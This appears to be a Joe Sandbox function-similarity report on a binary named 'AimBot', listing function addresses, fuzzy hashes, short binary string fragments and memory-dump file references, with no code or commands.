Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 5f7c398baf55b4141d57f296341e49d87a8fb8eeb98cbacee350c4bbe644e7d6
Instruction ID: 4a81e47d4ed8c18947d89a9fe3cf41f6139b58df432b4f176f2028e0e5b4c2ca
Opcode Fuzzy Hash: 5f7c398baf55b4141d57f296341e49d87a8fb8eeb98cbacee350c4bbe644e7d6
Instruction Fuzzy Hash: 22619F719102079BDF689F28DD96FBA77AAEF04320F10807EE90DC6281EB34D991DB50

Function 006BD7C3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 006BD8BB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 006BD8C5
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 006BD8D2

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 885a74254b1f1a0fa0af17df9349859b8b118ca86e3f460abd37a82e819cd2ca
Instruction ID: 9a389e702b2bbdd7b5e2b562f49723bb0d816a883e228bc34efbda1f1a823595
Opcode Fuzzy Hash: 885a74254b1f1a0fa0af17df9349859b8b118ca86e3f460abd37a82e819cd2ca
Instruction Fuzzy Hash: 3931D4B4D11219ABCB61DF24DC897DCBBB9BF18310F5041EAE40CA7251E7309B858F44

Function 006E4820 Relevance: 4.1, Strings: 3, Instructions: 399COMMON

Download Yara Rule

Strings

IEND, xrefs: 006E4C6C
), xrefs: 006E489C
), xrefs: 006E48A6

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: c17eba20024446ffe2e1c7628506039f7cab2e354e0f9c87248f7b528231009a
Instruction ID: b7d9b549cf03bd6a2bc6e01a58d9c58d396ce3fc7faca779b29c0b4db5580830
Opcode Fuzzy Hash: c17eba20024446ffe2e1c7628506039f7cab2e354e0f9c87248f7b528231009a
Instruction Fuzzy Hash: 65E122B1A097819FD310CF2AC88075BBBE1BF94314F14452DE9999B392DB74E815CBC6

Function 0070FF50 Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

drP, xrefs: 007100D4
\TdV, xrefs: 0070FFDB
`PR#, xrefs: 0070FFE5

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: drP$\TdV$`PR#
API String ID: 0-2460655840
Opcode ID: 8d642086de508c6a891525245db4509fd3d17283764bbb8341824185909b6ea9
Instruction ID: ee2691db4559279dbcaa6c9e78fbea3b460a2eed10959f5d13fd0a533b9377e4
Opcode Fuzzy Hash: 8d642086de508c6a891525245db4509fd3d17283764bbb8341824185909b6ea9
Instruction Fuzzy Hash: 4C815970409F808AD7618B38C854BE7BBE5BF16706F44185CD4EE8B282D779B485DF94

Function 0070FEEE Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

drP, xrefs: 007100D4
\TdV, xrefs: 0070FFDB
`PR#, xrefs: 0070FFE5

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: drP$\TdV$`PR#
API String ID: 0-2460655840
Opcode ID: 6e71a4b25e63dbfcfc2dd9b396eae39693e6b9c2b3919bffb33de9e56a23ed17
Instruction ID: 8d526969fbf4c64bc307f0fd100ee87cec8e27360e50480d4ee0cc0ce2505ed0
Opcode Fuzzy Hash: 6e71a4b25e63dbfcfc2dd9b396eae39693e6b9c2b3919bffb33de9e56a23ed17
Instruction Fuzzy Hash: 5C814970409B808AD7628B388854BE7BBE5BF16705F44189DD4EE8B2C3D779B485DFA0

Function 006BFC40 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction ID: 857172ac77fa4d6acd33183c29c06f9f7d7274c54af4d7af7ea8679157a870d7
Opcode Fuzzy Hash: 3f60d13b086af9ec0a587f738e4390bc211143032b3e107f6518dc9868b69a40
Instruction Fuzzy Hash: 44F12CB1E002199FDF14CFA8C880AEDB7B6FF89314F15826DE815AB391D731AD458B94

Function 00721350 Relevance: 3.1, Strings: 2, Instructions: 602COMMON

Download Yara Rule

Strings

/.-,, xrefs: 007213C4, 007213CD
f, xrefs: 00721598

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /.-,$f
API String ID: 0-268397193
Opcode ID: db4083755862a1b4edab2b9f769924fd809b59e611c825d08fc86a1cf2c3e571
Instruction ID: 077ccacbb60f8dc6d119a27c98cf27588327b4edfa2a03ea6fef974aad08a724
Opcode Fuzzy Hash: db4083755862a1b4edab2b9f769924fd809b59e611c825d08fc86a1cf2c3e571
Instruction Fuzzy Hash: A422AC716083919FC714CF19D890A2EBBE6BFA8314F688A2CF4D587391D739E905CB52

Function 00705360 Relevance: 2.9, Strings: 2, Instructions: 419COMMON

Download Yara Rule

Strings

(/.-, xrefs: 0070558D
/.-,, xrefs: 00705763, 0070576B

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: (/.-$/.-,
API String ID: 0-938965900
Opcode ID: ad1a6f73cafc3aa6f865ede62741d48a945cac9839c2c40a481888900e662f47
Instruction ID: c78b5d6d32d1e22c9e86e9f36405731709d0cc19849c67a143a98fe9af504a6d
Opcode Fuzzy Hash: ad1a6f73cafc3aa6f865ede62741d48a945cac9839c2c40a481888900e662f47
Instruction Fuzzy Hash: 3AC1E0B1508700DBD710AF14C885A2BB7F5EF91755F888A1CF8C98B292E339DD54DBA2

Function 0070A060 Relevance: 2.9, Strings: 2, Instructions: 372COMMON

Download Yara Rule

Strings

Q^]R, xrefs: 0070A3E0
/.-,, xrefs: 0070A143, 0070A14B

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /.-,$Q^]R
API String ID: 0-572212689
Opcode ID: 92b51796ad987977e71fc1965a2ee459ade001ffca63ac0ce892db89e3b8d020
Instruction ID: 3f4ad0ce932f1a7347787caa673d16d0451d9b21bb59fc34f24df0f0db3d961f
Opcode Fuzzy Hash: 92b51796ad987977e71fc1965a2ee459ade001ffca63ac0ce892db89e3b8d020
Instruction Fuzzy Hash: 68B1C1B1608345EFD714DF18D880B2BB7E6EF95314F184A2CE5858B292E379D944CBA3

Function 0071096A Relevance: 2.9, Strings: 2, Instructions: 370COMMON

Download Yara Rule

Strings

nLv(, xrefs: 00710EE1
$8r9, xrefs: 00710EEB

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: $8r9$nLv(
API String ID: 0-3981841268
Opcode ID: 024f59e5fc57056475cafc41f046b53661e697d3e7660b75dbafdff8870c1e97
Instruction ID: dca4418a26c4d5574877676048c222adfd0c74eab056477a82b6ace867366a6f
Opcode Fuzzy Hash: 024f59e5fc57056475cafc41f046b53661e697d3e7660b75dbafdff8870c1e97
Instruction Fuzzy Hash: 38C16F70504B808EE776CF3980547E3FBE1BF16704F54895DD4EA9B282DB79A489CB50

Function 00725200 Relevance: 2.8, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

P, xrefs: 007253A7
5D, xrefs: 00725598

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 5D$P
API String ID: 0-280649744
Opcode ID: 2efc9d8c30dcb5ccdddde738920ca196fc5c7dd1c8e1dfb2c39a3e4be9fd6d7e
Instruction ID: 435687c49397adcf728d7852ca71b7f9bb6c5ffbc06fb994a4525872b32f7fb3
Opcode Fuzzy Hash: 2efc9d8c30dcb5ccdddde738920ca196fc5c7dd1c8e1dfb2c39a3e4be9fd6d7e
Instruction Fuzzy Hash: 4EB1F0715087618FC325CE18E88072FB7E2EB85714F598A2CE8A5AB391D779DD05CBC2

Function 00710C36 Relevance: 2.8, Strings: 2, Instructions: 315COMMON

Download Yara Rule

Strings

nLv(, xrefs: 00710EE1
$8r9, xrefs: 00710EEB

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: $8r9$nLv(
API String ID: 0-3981841268
Opcode ID: 6dd22a8aeb17ee408b7d823a128692835c3a8488f2e8b962af6f2a7faa1b5f0a
Instruction ID: 0ed64ae5a5f176c4ff4bb690efdd03bb99f0462dc3245f2a1ea95e17bbc996db
Opcode Fuzzy Hash: 6dd22a8aeb17ee408b7d823a128692835c3a8488f2e8b962af6f2a7faa1b5f0a
Instruction Fuzzy Hash: 0EB18E70504B808EE776CF3980947E3FBE1AF16704F44895DD4EB9B282DB79A489CB90

Function 00710C4B Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

nLv(, xrefs: 00710EE1
$8r9, xrefs: 00710EEB

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: $8r9$nLv(
API String ID: 0-3981841268
Opcode ID: 637c41342d8cd480cf9e71782d74f55c1f32d25563751a7ba961ea9883d3a1f7
Instruction ID: b2228cf415b71c49852b17355027fb6129fd3affe7d77707ccc25794d33da364
Opcode Fuzzy Hash: 637c41342d8cd480cf9e71782d74f55c1f32d25563751a7ba961ea9883d3a1f7
Instruction Fuzzy Hash: 3CB18E70504B808EE776CF3980947E3FBE1AF16704F54895DD4EA9B282DB79A489CB90

Function 006F177D Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

j, xrefs: 006F19BF
j, xrefs: 006F184A

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: j$j
API String ID: 0-205847015
Opcode ID: 531013e54b5d1de87218d04c0d28c40e1d329b0d0d32291ee747aa33136345dd
Instruction ID: a18df211ffb7355dde2f2530c95764b547e7746593233e04d5713ec0c777b41b
Opcode Fuzzy Hash: 531013e54b5d1de87218d04c0d28c40e1d329b0d0d32291ee747aa33136345dd
Instruction Fuzzy Hash: DCB13570408381EBE7119B54C884B6FFBE6AF86384F04496DF5C89B262E775D884CB67

Function 006FB8FF Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

wu, xrefs: 006FBF13
07, xrefs: 006FBFC3

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 07$wu
API String ID: 0-1185823211
Opcode ID: 3693276ba0ee83008f318c8af1bf706133bccd675ba6724645abcb6e9ecd968c
Instruction ID: 3cf456667a328e3698dbb4344cf8a2b9c8d57e21f133c1200ed95fdebec91ddf
Opcode Fuzzy Hash: 3693276ba0ee83008f318c8af1bf706133bccd675ba6724645abcb6e9ecd968c
Instruction Fuzzy Hash: 71E111B42193848AD3709F04C199BABBBF1FF86318F18491CE4D98BB92D7748584CB97

Function 006FEA2E Relevance: 2.8, Strings: 2, Instructions: 270COMMON

Download Yara Rule

Strings

Q_, xrefs: 006FECE7
US, xrefs: 006FECDF

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: Q_$US
API String ID: 0-2496805189
Opcode ID: e259888a3f60d1a9f78a3751d5ffa624b67a073f0afcd57ca51f6ece220d59d3
Instruction ID: b50d6bf15d595c4c59b08918160d76fd44b0ae23e05859b9e30ec200b3f8f2f4
Opcode Fuzzy Hash: e259888a3f60d1a9f78a3751d5ffa624b67a073f0afcd57ca51f6ece220d59d3
Instruction Fuzzy Hash: C5B112B440C3849BD711AF58D840A2EFBE2AF96718F048D1CF5D49B252D73ACA15CB97

Function 006F1BBC Relevance: 2.8, Strings: 2, Instructions: 270COMMON

Download Yara Rule

Strings

j, xrefs: 006F1C88
j, xrefs: 006F1DB1

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: j$j
API String ID: 0-205847015
Opcode ID: c65fa0d365dd4529bafc1c0157cb61d7241188eff946490ae7b2b451d0da2de7
Instruction ID: a12c0f1c92a731d5555162e36258144f4d953874c9482fe354eb81e709f755fb
Opcode Fuzzy Hash: c65fa0d365dd4529bafc1c0157cb61d7241188eff946490ae7b2b451d0da2de7
Instruction Fuzzy Hash: ACA15670508385ABE7019B54C884B2FFBE6AF86384F44485CF5C89B262D775D889CB66

Function 006E9B20 Relevance: 2.8, Strings: 2, Instructions: 269COMMON

Download Yara Rule

Strings

842, xrefs: 006E9C8B
977<, xrefs: 006E9C6B

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: 842$977<
API String ID: 0-3096167234
Opcode ID: c487bc2b055f29a61c8f40604062dcd63ea9a69cf329555f827c019f26c9587d
Instruction ID: a1b0f152d0aefbdf143c51590fa2cd5675a6beaa2c73ceb1748b48ace319f3d3
Opcode Fuzzy Hash: c487bc2b055f29a61c8f40604062dcd63ea9a69cf329555f827c019f26c9587d
Instruction Fuzzy Hash: 2FA145B010D3908FD7218F1A94A066BFBE1AF96714F54899DE4E98B352C339D906CB63

Function 0070C417 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

US, xrefs: 0070C4BE
,-, xrefs: 0070C4CE

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: ,-$US
API String ID: 0-3150088031
Opcode ID: d3bb2541f124cbf49115ced44ddf7aea18c770a8b819f48ce446584c847121f6
Instruction ID: 1a13d99988b8583218bcb0ad97c3a666c3e69451af22d2d7560fc8dfb07f2919
Opcode Fuzzy Hash: d3bb2541f124cbf49115ced44ddf7aea18c770a8b819f48ce446584c847121f6
Instruction Fuzzy Hash: 947141B8508341DAD320CF14C951B2BBBE1AF91B54F249A0CE8888B292E738D915DB56

Function 0070BE90 Relevance: 2.7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

Strings

_{=y, xrefs: 0070BF94, 0070BF9D
/kji, xrefs: 0070BF6A

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: /kji$_{=y
API String ID: 0-2319923375
Opcode ID: 1b8d2ba8e62ce378cb2d8b8a8ab886edcd409482362bdac490b0a8411763c012
Instruction ID: ccddf7904662616d70f7bc4a0d2ad8b322c50ac1b3bf9f8d2ec8a7df45227992
Opcode Fuzzy Hash: 1b8d2ba8e62ce378cb2d8b8a8ab886edcd409482362bdac490b0a8411763c012
